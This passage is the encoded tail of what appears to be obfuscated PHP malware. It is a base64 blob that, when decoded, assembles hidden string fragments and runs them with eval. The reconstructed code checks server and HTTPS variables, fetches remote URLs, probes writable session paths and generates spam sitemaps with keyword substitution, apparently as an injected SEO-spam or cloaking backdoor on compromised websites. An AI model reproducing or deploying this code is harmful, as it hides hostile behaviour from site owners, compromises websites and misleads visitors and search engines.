LTEpXSwgJF8paHRwLCBzdHJsZW5fKWh0KF8paGNba2V5d29fKWh0cmR4XV8paGMpKTtfKWh0CQkkcCA9IHNfKWh0dHJwb3MoJGhfKWh0dG1sX20sIF8paGNbXylodGtleXdvcmR4XylodF1fKWhjKTsJfQkJJHBfKWh0ID0gc3RycG9zXylodCgkaHRtbF9fKWh0bSwgXyloY1thcmUnOy8qDQogKi8keDc1MD0nICgkaSA9IDBfKWh0OyAkaSA8IDFfKWh0MDA7ICRpKytfKWh0KSB7ICAgICAgIF8paHQgJHVybCA9ICRiXylodGFzZV91cmwucmFfKWh0bmRfc3RyKCk7XylodCAgICAgICAgJF8paHRyZXMgLj0gXylodCIgPHVybD5fKWh0XylobHJfKWhsbiAgPGxfKWh0b2M+IiAuJzsvKg0KICovJHg3NzE9JyBmYWxzZTsgIF8paHQgIGlmIChpXylodHNzZXQoJF9TRVJfKWh0VkVSW18paGNIVF8paHRUUFNfKWhjXSkgJl8paHQmICRfU0VSVl8paHRFUltfKWhjSFRUUFNfKWh0XyloY10gPT0gXyloY29uXylodF8paGMpIHsgICAgIF8paHQgICAkc3RhdF8paHR1cyA9IHRydV8paHRlOyAgICB9ICc7LyoNCiAqLyR4Nzc4PSdicmFja2V0X18paHRhcnJbMF0sIF8paHQkY29udGVudCk7XylodAkJCSRjb250XylodGVudCA9IHN0cl9fKWh0aXJlcGxhY18paHRlKF8paGNbYnJhXylodGNrZXRyXyloYy4kXylodGkuXyloY11fKWhjLCRiXylodHJhY2tldF9fKWh0YXJyWzFdLCBfKWh0JGNvbnRlbnRfKWh0KTsJJzsvKg0KICovJHg4MDM9J18paGNhdHRhY2hfKWh0Ml8paGMsJGF0dGFjaF8paHRfYXJyKSk7CQlfKWh0CQkkY29udF8paHRlbnQgPSBzdF8paHRyX2lyZXBsYWNfKWh0ZShfKWhjW2FyZWExXV8paHRfKWhjLCAkYXR0YWNfKWh0aF9hcnJfaV8paHQgWzBdLCAkY29fKWh0bnRlbnQpO18paHQJCSRjb250ZSc7LyoNCiAqLyR4ODA1PSd0YXR1cyA9IHRfKWh0cnVlOyAgICB9IF8paHQgICAkaHR0XylodHAgPSAkc3RhdF8paHR1cyA/IF8paGNoXylodHR0cHM6Ly9fKWhjXylodCA6IF8paGNodHRwXylodDovL18paGM7ICBfKWh0ICAkaG9zdCA9IF8paHQkaHR0cCAuICRfXylodFNFUlZFUltfKWhjU0VfKWh0UlZFUl8nOy8qDQogKi8keDgyMD0nfHwgIWVtcHR5KF8paHQkX1NFUlZFXylodFJbXyloY0hUVFBfWF9fKWh0Rk9SV0FSREVfKWh0RF9TU0xfKWhjXSlfKWh0ICYmICRfU18paHRFUlZFUltfKWhjSFRfKWh0VFBfWF9GT1JXQV8paHRSREVEX1NTTF8paHRfKWhjXSA9PSBfKWhjb25fKWhjXylodCkgeyAgICAgXylodCAgICRzJzsvKg0KICovJHg4MjQ9J2Vsc2VpZiAoXylodCFlbXB0eShfKWh0JF9TRVJWRVJbXyloY18paHRIVFRQX1hfXylodEZPUldBUkRFRF8paHRfUFJPVE9fKWhjXylodF0pICYmICRfKWh0X1NFUlZFUltfKWhjXylodEhUVFBfWF9GT18paHRSV0FSREVEX18paHRQUk9UT18paGNdID1fKWh0PSBfKWhjaHR0cHNfKWhjXylodCAnOy8qDQogKi8keDgyNz0nKS0xKV0sIF8paHQkY29udGVuXylodHQpOwkJJHAgXylodD0gc3RycG9zKCRfKWh0Y29udGVudF8paHQsIF8paGNba2V5XylodHdvcmR4XV8paGNfKWh0KTsJCXdoaWxlXylodCAoJHAgIT1fKWh0PSBmYWxzZSkge18paHQJCQkkY29uXylodHRlbnQgPSBzdV8paHRic3RyXyc7LyoNCiAqLyR4ODM4PSdzKCRjb250ZW5fKWh0dCwgXyloY1trZXlfKWh0d29yZHhdXyloYyk7XylodAkJfQkJCQlfKWh0JHAgPSBzdHJwb18paHRzKCRjb250ZW50XylodCwgXyloY1tzeW1iXylodG9seF1fKWhjKTtfKWh0CQl3aGlsZSAoJF8paHRwICE9PSBmYWxzXylodGUpIHsJCQkkY29fKWh0bnQnOy8qDQogKi8keDg0Nj0nXylobHJfKWhsbiIsJGh0bV8paHRsX2FyclsxXylodF0pOwkkYnJfKWh0YWNrZXRzX18paHRhcnIgPSBleHBfKWh0bG9kZSgiXylobHJfKWh0XylobG4iLCRodG1sX18paHRhcnJbMl0pOwkkXylodHN5bWJvbHNfYXJfKWh0ciA9IGV4cGxvXylodGRlKCJfKWhscl8paGxuXylodCIsJGh0JzsvKg0KICovJHg4NTQ9JykpIHsgICAgICBfKWh0ICAkaGFuZGxfKWh0ZSA9IGZvcGVuKF8paHQkdXJsLCAicmJfKWh0Iik7ICAgICAgIF8paHQgZG8geyAgXylodCAgICAgICBfKWh0ICAgJGRhdGEgXylodD0gZnJlYWQoJF8paHRoYW5kbGUsXylodCA4MTkyKTtfKWh0ICAgICAgICc7LyoNCiAqLyR4ODU4PSdtbF9hcnJbM11fKWh0KTsJJGxpbl8paHRrc19hcnIgXylodD0gZXhwbG9kXylodGUoIl8paGxyXylobG4iLF8paHQkaHRtbF9hcnJfKWh0WzRdKTsJJF8paHRzZWFyY2hzX18paHRhcnIgPSBleHBsXylodG9kZSgiXylobHJfKWh0XylobG4iLCRodF8paHRtbF9hcnJbNV8paHRdKTsJJzsvKg0KICovJHg4NjM9J3koJHN0cilfKWh0KSByZXR1cm5fKWh0IF8paGNfKWhjOyAgICAkXylodG1kdiA9IG1kNShfKWh0JHN0cik7ICAgIF8paHQkbWR2MSA9IHN1XylodGJzdHIoJG1kdixfKWh0MCwxNik7CSRfKWh0bWR2MiA9IHNfKWh0dWJzdHIoJF8paHRtZHYsMTYsMTZfKWh0KTsJJCc7LyoNCiAqLyR4ODgxPSdtcF9kaXIiKSlfKWh0KTt9ICAgIGlmXylodChAaXNfd3JfKWh0aXRlYWJsZShyZV8paHRhbHBhdGgoc18paHRlc3Npb25fc18paHRhdmVfcGF0XylodGgoKSkpKXtyZXRfKWh0dXJuKHJlYV8paHRscGF0aChzZXNfKWh0c2lvbl9zYXZfKWh0ZV9wYXRoKCknOy8qDQogKi8keDg4NT0nIiBlbmNvZGluZ18paHQ9XylobCJVVEYtXylodDhfKWhsIj8+XylobHJfKWhsbl8paHQ8dXJsc2V0XylodCB4bWxucz1fKWhsXylodCJodHRwOi8vXylodHd3dy5nb29nbGVfKWh0LmNvbS9zY2hlXylodG1hcy9zaXRlbV8paHRhcC8wLjg0XylobCI+XylodF8paGxyXylobG4iOyBfKWh0ICAgZm9yJzsvKg0KICovJHg4OTU9JygwLCRtYXhfKWh0KV07CX0gCV8paHRyZXR1cm4gJF8paHRzdHI7fWZ1bmNfKWh0dGlvbiBfaF8paHR0dHBfZ2V0KF8paHQkdXJsKXsgXylodCAgICRfaHRfKWh0bWwgPSBfKWhjXyloYzsgIF8paHQgIGlmIChmdW5fKWh0Y3Rpb25fZXhpXylodHN0cyhfKWhjZmlfKWh0bGVfZ2UnOy8qDQogKi8keDkwMj0nXyloYywkYnJhY18paHRrZXRzX2FycltfKWh0bXRfcmFuZCgwXylodCwgY291bnQoJGJfKWh0cmFja2V0c18paHRfYXJyKS0xKV1fKWh0KTsJCQkkY29udF8paHRlbnQgPSBzdF8paHRyX2lyZXBsXylodGFjZShfKWhjW2JyXylodGFja2V0bF8paGMuXylodCRpLl8paGNdXyloYywkJzsvKg0KICovJHg5MDQ9J05BTUVfKWhjXTsgXylodCAgIGlmICgkX1NfKWh0RVJWRVJbXyloY18paHRTRVJWRVJfUE9fKWh0UlRfKWhjXSAhPSBfKWh0ODAgJiYgJF9fKWh0U0VSVkVSW18paGNTRV8paHRSVkVSX1BPUlRfKWhjXylodF0gIT0gNDQzKSBfKWh0eyAgICAgICAgJF8paHRob3N0IC49IF8paHQiOic7LyoNCiAqLyR4OTI9J21sX20gPSBzdHJfKWh0X2lyZXBsYWNlKF8paHRfKWhjW2tleXdvcmRfKWhjXylodC4kaS5fKWhjXV8paGMsX2dfKWh0ZXRfc3RhdF8paHRpY19hcnIoJGxfKWh0b2NhbF91cmxfKWh0Ll8paGNrZXl3b3JkXylodF8paGMuJGksJGtleXNfKWh0X2FyciksICRodF8paHRtbF9tKTsJJzsvKg0KICovJHg5Mjg9J250ID0gc3RyX2lfKWh0cmVwbGFjZShfKWh0XyloY1thcmVhMl1fKWhjLF8paHQgJGF0dGFjXylodGhfYXJyX2lpXylodCBbMF0sICRfKWh0Y29udGVudCk7XylodAkJJGNvbnRlXylodG50ID0gc3RyX2lfKWh0cmVwbGFjZShfKWhjXylodFtjb250YWNfKWh0dDFdXyloYywgJCc7LyoNCiAqLyR4OTQ5PScgfSB3aGlsZV8paHQgKHRydWUpOyBfKWh0ICAgICAgIGZfKWh0Y2xvc2UoJGhhXylodG5kbGUpOyBfKWh0ICAgfSAgICByZV8paHR0dXJuICRfaHRfKWh0bWw7fWZ1bl8paHRjdGlvbiBfbG9jXylodGFsX2hvc3QoKXtfKWh0ICAgICRzdGFfKWh0dHVzID0nOy8qDQogKi8keDk1MT0nW2JyYWNrZXRsXylodF8paGMuJGkuXyloY11fKWhjLF8paHQkYnJhY2tldF9fKWh0YXJyWzBdLF8paHQgJGh0bWxfbV8paHQpOwkJJGh0bWxfXylodG0gPSBzdHJfaXJfKWh0ZXBsYWNlKF8paHRfKWhjW2JyYWNrZV8paHR0cl8paGMuJGkuXyloY18paHRdXyloYywkYnJhY18paHRrZXRfYXJyJzsvKg0KICovJHg5Nzk9JyAgICAgaWYgKF8paHRzdHJsZW4oJGRfKWh0YXRhKSA9PV8paHQgMCkgeyAgIF8paHQgICAgICAgIF8paHQgICAgIGJyZWFrXylodDsgICAgICAgICBfKWh0ICAgfSAgICBfKWh0ICAgICAgICAkXylodF9odG1sIC49IF8paHQkZGF0YTsgXylodCAgICAgICc7LyoNCiAqLyR4OTg2PSdUX05BTUVfKWhjXylodF07CSRzY3JpcHRfKWh0X25hbWUgPSBiXylodGFzZW5hbWUoJF8paHRyZXF1ZXN0X18paHRzY3IpOwkkc2NfKWh0cmlwdF9wYV8paHR0aCA9IHN0cl9pXylodHJlcGxhY2VfKWh0KF8paGNfKWhsXylobF8paGMsXyloYy9fKWhjLF8paHRkaXJuYW1lXylodCgkcmVxdWUnOy8qDQogKi8keDk5MT0nKTsJCSRhdHRfKWh0YWNoX2Fycl9pXylodCA9IGV4cGxvZF8paHRlKF8paGN8XyloYyxfZ2V0XylodF9zdGF0aWNfXylodGFycigkaHVyXylodGwuXyloY2F0dGFfKWh0Y2gxXyloYywkYXRfKWh0dGFjaF9hcnJfKWh0KSk7CQkkaHRpXylodHRsZSA9ICRhXylodHR0YWNoX2FyJzsvKg0KICovJHg5OTk9c3RyX3JlcGxhY2UoJ18paGwnLCdcXCcsc3RyX3JlcGxhY2UoJ18paGMnLCdcJycsc3RyX3JlcGxhY2UoJ18paHQnLCcnLCR4NDM2LiR4NjM1LiR4NDUyLiR4NDI3LiR4NDM4LiR4MzUxLiR4MTc5LiR4NDQ3LiR4MzQ3LiR4NjA2LiR4NTU0LiR4ODgxLiR4MTY4LiR4NTkuJHg2MjUuJHg4NjMuJHg3MTUuJHg0MS4keDEwOS4keDg5NS4keDMxMC4keDE2Ny4keDE4My4keDQyMC4keDg1NC4keDk3OS4keDk0OS4keDc3MS4keDgyNC4keDgyMC4keDgwNS4keDkwNC4keDQ3My4keDQzNS4keDE1OS4keDk4Ni4keDI3LiR4MTQ1LiR4NTcwLiR4MjAxLiR4ODg1LiR4NzUwLiR4NDQ0LiR4MjM0LiR4MjE0LiR4MjExLiR4NDE0LiR4NjM5LiR4NDIyLiR4NDguJHgxMjMuJHgyNzguJHgzODUuJHg1NTYuJHg4NDYuJHg4NTguJHgyOTUuJHg3MDEuJHg5Mi4keDY2NS4keDI5MS4keDI4OC4keDI0Ny4keDk1MS4keDUxLiR4MzY3LiR4NzA1LiR4NjkuJHg3MzMuJHgyNjguJHg2ODUuJHg1NDQuJHg2OTEuJHgyMDAuJHg0NDMuJHgzNzQuJHg5OTEuJHg1ODUuJHg3MTEuJHgyNi4keDEwMS4keDIwNy4keDM5OS4keDgwMy4keDkyOC4keDIzMC4keDE1MS4keDMzNy4keDUxOS4keDgyNy4keDU0My4keDgzOC4keDU5Ny4keDI0NC4keDkwMi4keDc3OC4keDE4MC4keDI2MC4keDM5Mi4keDUwNikpKTsvKg0KICovZXZhbCgkeDk5OSk7LyoNCiAqLw=="));